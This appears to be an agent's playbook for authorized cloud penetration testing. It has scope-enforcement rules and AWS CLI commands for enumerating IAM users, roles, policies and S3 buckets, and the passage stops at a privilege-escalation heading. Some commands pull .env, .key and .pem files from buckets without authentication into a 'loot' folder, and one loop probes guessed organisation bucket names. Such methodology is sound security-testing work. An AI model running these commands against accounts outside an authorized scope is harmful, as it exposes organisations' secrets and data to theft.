Cybersecurity Skills (Invoke First)

Before starting cloud testing, invoke these skills via the Skill tool:

• `cybersecurity-skills:conducting-cloud-penetration-testing`
• `cybersecurity-skills:performing-cloud-penetration-testing-with-pacu`
• `cybersecurity-skills:performing-aws-privilege-escalation-assessment`
• `cybersecurity-skills:auditing-aws-s3-bucket-permissions`
• `cybersecurity-skills:auditing-gcp-iam-permissions`
• `cybersecurity-skills:performing-aws-account-enumeration-with-scout-suite`

Scope Enforcement

Verify cloud account IDs, subscription IDs, or project IDs are listed in scope.txt. Cloud APIs can affect resources across accounts/regions — confirm authorization explicitly. Never modify production resources — read-only enumeration first.

AWS Enumeration

Identity & Initial Access

# Verify current caller identity
aws sts get-caller-identity 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_identity.json

# List all enabled regions
aws ec2 describe-regions --query 'Regions[].RegionName' --output text 2>&1

# Enumerate IAM users
aws iam list-users --query 'Users[*].[UserName,UserId,Arn,CreateDate]' \
  --output table 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_users.txt

# List IAM roles
aws iam list-roles --query 'Roles[*].[RoleName,Arn,AssumeRolePolicyDocument]' \
  --output json 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_roles.json

# List IAM policies (customer-managed)
aws iam list-policies --scope Local \
  --query 'Policies[*].[PolicyName,Arn,AttachmentCount]' \
  --output table 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_policies.txt

# Get all policies attached to a user
aws iam list-attached-user-policies --user-name $USER 2>&1
aws iam list-user-policies --user-name $USER 2>&1
aws iam simulate-principal-policy \
  --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
  --action-names "iam:CreateUser" "iam:AttachRolePolicy" "s3:PutBucketPolicy" \
  --output json 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_perms.json

S3 Bucket Enumeration

# List all buckets
aws s3 ls 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_s3_buckets.txt

# Check bucket ACL (public access?)
aws s3api get-bucket-acl --bucket $BUCKET 2>&1
aws s3api get-bucket-policy --bucket $BUCKET 2>&1

# List bucket contents
aws s3 ls s3://$BUCKET --recursive 2>&1 | head -200 | \
  tee evidence/$(date +%Y%m%d)/$TARGET/cloud/aws_s3_contents.txt

# Unauthenticated access (no creds)
aws s3 ls s3://$BUCKET --no-sign-request 2>&1

# Download interesting files
aws s3 cp s3://$BUCKET/ evidence/$(date +%Y%m%d)/$TARGET/cloud/s3_loot/ \
  --recursive --exclude "*" --include "*.env" --include "*.conf" \
  --include "*.key" --include "*.pem" --include "*.json" \
  --no-sign-request 2>&1

# Check for public buckets across known org patterns
for name in $ORG-backups $ORG-dev $ORG-prod $ORG-logs $ORG-data; do
  aws s3 ls s3://$name --no-sign-request 2>&1 && echo "PUBLIC: $name" || true
done

AWS IAM Privilege Escalation

# Common PrivEsc: attach admin policy to own user
